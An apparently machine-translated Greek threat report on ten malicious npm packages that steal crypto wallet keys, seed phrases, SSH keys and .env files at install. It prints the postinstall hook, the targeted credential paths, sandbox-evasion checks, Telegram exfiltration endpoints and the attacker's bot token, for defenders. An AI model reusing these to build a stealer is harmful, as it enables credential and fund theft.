TL? DR
Στις 9 Ιουνίου 2026, ένας μόνο λογαριασμός εκδότη npm, aicrypto-xzggg, αποστέλλεται δέκα πακέτα με ονόματα με γεύση κρυπτογράφησης και Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, και έξι ακόμη.
Κάθε πακέτο εκτελεί το ίδιο ωφέλιμο φορτίο από ένα postinstall γάντζο. Κατά την εγκατάσταση, ελέγχει εάν εκτελείται μέσα σε CI ή σε sandbox — εάν όχι, διαβάζει κλειδιά πορτοφολιού, αρχεία φράσης seed, κλειδιά SSH και .env αρχεία από έξι οικοσυστήματα blockchain και τα μεταδίδει σε ένα bot Telegram.
Η μοναδική ένδειξη που μπορεί να αναζητήσει αμέσως ένας αμυντικός είναι το id bot του Telegram. 8227918239.
Αυστηρότητα: κρίσιμης — άμεση κλοπή κλειδιών υπογραφής και φράσεων ανάκτησης από σταθμοί εργασίας προγραμματιστών.
Η Επίθεση: Πώς Λειτουργεί
Τα πακέτα διαφημίζονται ως βοηθητικά προγράμματα για προγραμματιστές blockchain. πακέτο.json είναι ελάχιστη και δείχνει τον κύκλο ζωής εγκατάστασης σε ένα σενάριο:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } σενάρια/postinstall.js είναι μια ροδέλα μίας γραμμής που φορτώνει το πραγματικό ωφέλιμο φορτίο: απαιτούν(“../src/index.js”). Επειδή μετά την εγκατάσταση εκτελείται αυτόματα κατά τη διάρκεια npm install, δεν απαιτείται εισαγωγή κώδικα από τον προγραμματιστή — η τοποθέτηση του πακέτου σε ένα δέντρο εξαρτήσεων είναι αρκετή για να εκτελεστεί.
Η αλυσίδα θανάτου στο εσωτερικό src/index.js είναι τέσσερα βήματα:
- Έλεγχος περιβάλλοντος. Μια συνάρτηση guard αποφασίζει εάν ο κεντρικός υπολογιστής μοιάζει με παράγοντα δημιουργίας ή με sandbox ανάλυσης.
- Καθυστέρηση. Η εκτέλεση αναβάλλεται λόγω setTimeout περίπου 7.4 δευτερόλεπτα.
- Συλλογή. Πραγματοποιείται πλοήγηση σε μια σταθερή λίστα διαδρομών πορτοφολιού, κλειδιού και μυστικών αρχείων· τα υπάρχοντα αρχεία τοποθετούνται σε ουρά αναμονής.
- Εκδιήθηση. Τα αρχεία που βρίσκονται σε ουρά αποστέλλονται σε ένα bot του Telegram, και ακολουθεί ένα συνοπτικό μήνυμα.
Η λίστα στόχων συλλογής εκτείνεται σε έξι αλυσίδες συν γενικά μυστικά προγραμματιστών. Περικοπή:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Συνολικά είκοσι μία διαδρομές. Καταχωρίσεις καταλόγου όπως ~/.ethereum/κλειδί αποθήκευσης επεκτείνονται και κάθε αρχείο στο εσωτερικό μπαίνει σε ουρά αναμονής. Η εξαγωγή χρησιμοποιεί απευθείας το Telegram Bot API — ένα αποστολή μηνύματος κλήση με μια σύνοψη κεντρικού υπολογιστή και αρχείου, και στη συνέχεια μια αποστολή εγγράφου μεταφόρτωση πολλαπλών τμημάτων για κάθε αρχείο:
κείμενο
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Το συνοπτικό μήνυμα που συναρμολογεί ο κώδικας ξεκινά με την κυριολεκτική συμβολοσειρά ΚΛΟΠΤΗΣ ΚΡΥΠΤΟΓΡΑΦΗΣΗΣ, ακολουθούμενο από το όνομα κεντρικού υπολογιστή, το όνομα χρήστη, το όνομα του πακέτου προέλευσης, τον αριθμό αρχείων και τη χρονική σήμανση.
Τι νέο υπάρχει εδώ
Το διαφοροποιητικό στοιχείο δεν είναι ο μηχανισμός κλοπής — exfil από το npm που βασίζεται στο Telegram μετά την εγκατάσταση hooks είναι πολύ γνωστό. Είναι το πύλη εκτέλεσης. Πριν από οποιαδήποτε ενέργεια, το payload καλεί μια συνάρτηση που επιστρέφει true όταν ο κεντρικός υπολογιστής μοιάζει με CI runner ή sandbox και επιστρέφει νωρίς όταν συμβαίνει αυτό:
κείμενο
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Το regex container-id είναι η αξιοσημείωτη ρήτρα: ένα όνομα κεντρικού υπολογιστή 12 δεκαεξαδικών χαρακτήρων είναι το προεπιλεγμένο σχήμα που το Docker αντιστοιχίζει σε ένα δοχείο, επομένως το ωφέλιμο φορτίο αντιμετωπίζει το "το όνομα κεντρικού υπολογιστή μου μοιάζει με κοντέινερ Docker" ως λόγο για να παραμείνει αδρανές. Σε συνδυασμό με την καθυστέρηση επτά δευτερολέπτων, ο σχεδιασμός ευνοεί την εκτέλεση στον πραγματικό σταθμό εργασίας ενός προγραμματιστή και την σιωπή οπουδήποτε μοιάζει με αυτοματοποιημένη ανάλυση. Αυτή η πύλη είναι που κατέστειλε τα σήματα δυναμικής ανάλυσης και διατήρησε τη στατική ροή exfil ως το κύριο αποδεικτικό στοιχείο καταδίκης.
Χρονολόγιο
| Ημερομηνία (UTC) | Συμβάν |
|---|---|
| 2026-06-09 ~02:48 | Τα πρώτα πακέτα στο σύμπλεγμα επισημάνθηκαν κατά τη δημοσίευση (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Μέλη με υψηλότερη έκδοση που έχουν επισημανθεί (ethereum-kit-9 στο 1.25.36, wallet-sdk-9 στις 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Τελικά μέλη που έχουν επισημανθεί (defi-tools-39 στο 4.26.29, swap-sdk-87 στο 4.63.78, farming-tools-12 στις 4.68.54) |
| 2026-06-09 | Και τα δέκα ταξινομημένα ως κακόβουλα και έχουν αναφερθεί για αφαίρεση από το μητρώο |
Και τα δέκα εμφανίστηκαν μέσα σε περίπου εβδομήντα λεπτά, γεγονός που αντιστοιχεί σε μία μόνο δημοσίευση με σενάριο από έναν λογαριασμό.
Δείκτες συμβιβασμού
Δείκτες δικτύου και συμπεριφοράς (αποσυμπίεση κεντρικού υπολογιστή):
| Δείκτης | αξία |
|---|---|
| Τελικό σημείο Exfil | api[.]telegram[.]org (API Bot Telegram) |
| Αναγνωριστικό bot Telegram | 8227918239 |
| διακριτικό bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Αναγνωριστικό συνομιλίας Telegram | 6433587894 |
| Εγκατάσταση γάντζου | postinstall → scripts/postinstall.js → src/index.js |
| Σειρά δείκτη | CRYPTO STEALER στο συναρμολογημένο συνοπτικό μήνυμα |
| Publisher | aicrypto-xzggg (δηλωμένο email vipsyria88@gmail[.]com, μη επαληθευμένο) |
Πακέτα και εκδόσεις, η καθεμία με το SHA-256 του src/index.js ωφέλιμο φορτίο (τα ωφέλιμα φορτία είναι λειτουργικά πανομοιότυπα και διαφέρουν μόνο στην ενσωματωμένη ετικέτα ονόματος πακέτου, επομένως κάθε hash είναι διαφορετικός):
| Πακέτο | Έκδοση | SHA-256 του src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Ένα απλό ερώτημα αναζήτησης: αναζητήστε αρχεία καταγραφής εγκατάστασης και αρχεία κλειδώματος για οποιοδήποτε από τα δέκα ονόματα και αναζητήστε εξερχόμενη κίνηση για συνδέσεις με το Telegram Bot API από κεντρικούς υπολογιστές κατασκευής ή προγραμματιστών που δεν το χρησιμοποιούν διαφορετικά.
Απόδοση & Παρατηρούμενη Συμπεριφορά
Και τα δέκα πακέτα δημοσιεύθηκαν από έναν λογαριασμό, aicrypto-xzggg, του οποίου το δηλωμένο email είναι vipsyria88@gmail[.]comΤόσο το email όσο και ο σύνδεσμος source-control δεν είναι επαληθευμένα στα μεταδεδομένα του μητρώου και ο λογαριασμός έχει έντονα αρνητική βαθμολογία φήμης. Δεν έχουμε επιβεβαιώσει ποιος χειρίζεται τον λογαριασμό.
Δύο λεπτομέρειες αξίζει να διαχωριστούν από οποιαδήποτε αξίωση ταυτότητας. Πρώτον, η πακέτο.json συγγραφέας αναγνώσεις πεδίου Alex Smith σε κάθε πακέτο, ενώ ο πραγματικός λογαριασμός δημοσίευσης είναι aicrypto-xzggg; το πεδίο συγγραφέα είναι αυτοδηλωμένα μεταδεδομένα και δεν αποδεικνύει την πατρότητα. Δεύτερον, οι αριθμοί έκδοσης ποικίλλουν σημαντικά — ορισμένα μέλη βρίσκονται στο 1.0.0, άλλοι στο 4.68.54 — κάτι που συνάδει με την επαναχρησιμοποίηση ενός μόνο ωφέλιμου φορτίου σε όλα τα πρόσφατα ονόματα πακέτων αντί να διατηρείται το πραγματικό ιστορικό κυκλοφορίας.
Η συμπεριφορά είναι ομοιόμορφη σε όλο το σύμπλεγμα: η ίδια λίστα διαδρομών προορισμού, το ίδιο αναγνωριστικό bot και αναγνωριστικό συνομιλίας Telegram, η ίδια πύλη περιβάλλοντος, το ίδιο ΚΛΟΠΤΗΣ ΚΡΥΠΤΟΓΡΑΦΗΣΗΣ δείκτης. Αυτή η ομοιομορφία είναι ο ισχυρότερος σύνδεσμος μεταξύ των πακέτων. Είναι ένα σήμα του ίδιου χειριστή, όχι μια ταυτότητα.
Αντίκτυπος, Τάσεις & Οδηγίες για Υπερασπιστές
Η έκθεση είναι συγκεκριμένη. Ένας προγραμματιστής που εγκαθιστά οποιοδήποτε από αυτά τα πακέτα σε έναν σταθμό εργασίας που περιέχει ένα πορτοφόλι λογισμικού, ένα αρχείο φράσης seed ή ένα κλειδί SSH, διαβάζει και μεταδίδει αυτά τα αρχεία από τον κεντρικό υπολογιστή μέσα σε δευτερόλεπτα. Οι φράσεις ανάκτησης και τα κλειδιά υπογραφής δεν λήγουν όπως λήγει ένα διακριτικό συνεδρίας. Μόλις ένα mnemonic.txt ή ένας Σολάνα id.json εγκαταλείπει το μηχάνημα, τα κεφάλαια που ελέγχει διατρέχουν κίνδυνο μέχρι να μετακινηθούν. Η ίδια διαδρομή καταγράφει επίσης .env αρχεία, τα οποία συνήθως φέρουν κλειδιά API και διαπιστευτήρια βάσης δεδομένων.
Δύο τάσεις κρύβονται πίσω από αυτό το σύμπλεγμα. Η πρώτη είναι η συνεχιζόμενη χρήση ονομάτων με θέμα τα κρυπτονομίσματα και το Web3 για να προσελκύσουν ένα συγκεκριμένο κοινό — προγραμματιστές που διατηρούν πορτοφόλια και κλειδιά στον ίδιο υπολογιστή στον οποίο εγκαθιστούν εξαρτήσεις. Η δεύτερη είναι η ωρίμανση της αποφυγής sandbox σε φορτία κατά τον χρόνο εγκατάστασης. Μια πύλη που ελέγχει για μεταβλητές περιβάλλοντος CI, ονόματα χρήστη runner και ένα σχήμα ονόματος κεντρικού υπολογιστή Docker container-id είναι μια σκόπιμη προσπάθεια να συμπεριφέρεται διαφορετικά υπό ανάλυση από ό,τι σε έναν πραγματικό σταθμό εργασίας και ανεβάζει τον πήχη για καθαρά δυναμική ανίχνευση.
Για τους αμυντικούς:
Εγκατάσταση με τα σενάρια απενεργοποιημένα από προεπιλογή. npm install –ignore-scripts, ή ορίστε αγνόηση-scripts=true in .npmrc, αποτρέπει μετά την εγκατάσταση εκτέλεση; ενεργοποιήστε τα σενάρια μόνο για τις συγκεκριμένες εξαρτήσεις που τα χρειάζονται πραγματικά.
Κρατήστε τα πορτοφόλια και τα κλειδιά υπογραφής μακριά από μηχανήματα δημιουργίας και ανάπτυξης. Χρησιμοποιήστε ένα πορτοφόλι υλικού ή έναν αποκλειστικό, χωρίς εξαρτήσεις κεντρικό υπολογιστή υπογραφής.
Χαρίστε .env, keystores και αρχεία seed-phrase ως crown jewels. Δεν πρέπει ποτέ να βρίσκονται σε έναν κατάλογο που είναι επίσης ένας npm install λειτουργικό δέντρο.
Αναζητήστε εξερχόμενες συνδέσεις στο Telegram Bot API από το CI και τους κεντρικούς υπολογιστές προγραμματιστών. Τα περισσότερα περιβάλλοντα δημιουργίας δεν το καλούν ποτέ. Ένα περιβάλλον που το κάνει ξαφνικά, αμέσως μετά την εγκατάσταση, αξίζει να το διερευνήσετε.
Καρφίτσωμα και έλεγχος εξαρτήσεων. Ένα ολοκαίνουργιο πακέτο με ένα γενικό όνομα κρυπτογράφησης, ένα μετά την εγκατάσταση γάντζο και κανένας σύνδεσμος αποθετηρίου δεν δικαιολογεί την εξέταση πριν εισέλθει σε ένα αρχείο κλειδώματος.
Η ρήτρα αποφυγής του container-id αποτελεί επίσης μια υπενθύμιση για τους αναλυτές: ένα φορτίο εγκατάστασης που παραμένει αδρανές σε ένα sandbox δεν είναι καλοήθης, είναι επιλεκτικό. Η στατική ανασκόπηση της διαδρομής εγκατάστασης παραμένει ο αξιόπιστος τρόπος για να δείτε τι μπορεί να μην δείξει η δυναμική εκτέλεση.
Αναφορές
τεκμηρίωση εγκατάστασης npm — σενάρια κύκλου ζωής και - Αγνοήστε τα σενάρια— αναφορά για την απενεργοποίηση της αυτόματης εγκατάστασης hooks.





